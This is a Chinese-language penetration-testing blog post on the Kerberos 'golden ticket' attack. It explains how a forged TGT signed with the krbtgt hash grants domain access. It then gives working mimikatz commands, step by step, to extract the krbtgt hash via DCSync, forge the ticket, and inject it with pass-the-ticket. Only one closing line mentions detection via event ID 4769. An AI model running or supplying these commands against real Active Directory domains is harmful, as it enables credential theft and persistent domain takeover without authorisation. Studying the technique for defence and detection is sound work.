域渗透系列--黄金票据

0x01 黄金票据原理

在kerberos协议身份请求认证中(如下图),不进行第一步AS-REQ和第二步AS-REP两个环节请求,利用伪造的ticket作为TGS-REQ的一部分发送到域控以获取service ticket这一过程。黄金票据是由域kerberos账号加密和签名(krbtgt 域账户的NTLM Hash 加密的Session-key as、 Client-info、timestamp)并且可以被域中的 KDC 服务解密。

krbtgt:KDC 服务使用的账号,属于 Domain Admins 组成员,可以用来生成访问服务器的票据

golden ticket.png
0x02 GoldenTicket制作
  • 域名
  • 域SID
  • KRBTGT NTLM或AES256
  • 用来伪造的用户名

1)获取域SID
whoami /user
红框里的是SID,外边的是RID,所以域SID就是S-1-5-21-16652XXXXXX-XXXXXXXXX-3128466792

sid.png

2)获取krbtgt hash
在域控上执行mimikatz提取krbtgt hash
mimikatz lsadump::dcsync /user:krbtgt /domain:DOMAIN_NAME

lsadump.png

3)生成黄金票据
在客户机上执行mimikatz
mimikatz # kerberos::golden /admin:admin111 /domain:DOMAIN_NAME /sid:S-1-5-21-XXXXXXXX-XXXXXXXX-3128466792 /krbtgt:NTLM_HASH/ticket:goldticket.kirbi

golden.png

4)清空kerberos原有票据并导入黄金票据
mimikatz # kerberos::purge
mimikatz # kerberos::ptt goldticket.kirbi
查询TGT是否导入成功
mimikatz # kerberos::tgt

注入TGT.png

图片.png

0x03 黄金票据检测和防御

通过查看DC事件日志eventID 4769 - 服务票证请求判断是否可能遭到goldenticket的攻击。


detect.png

你可能感兴趣的:(域渗透系列--黄金票据)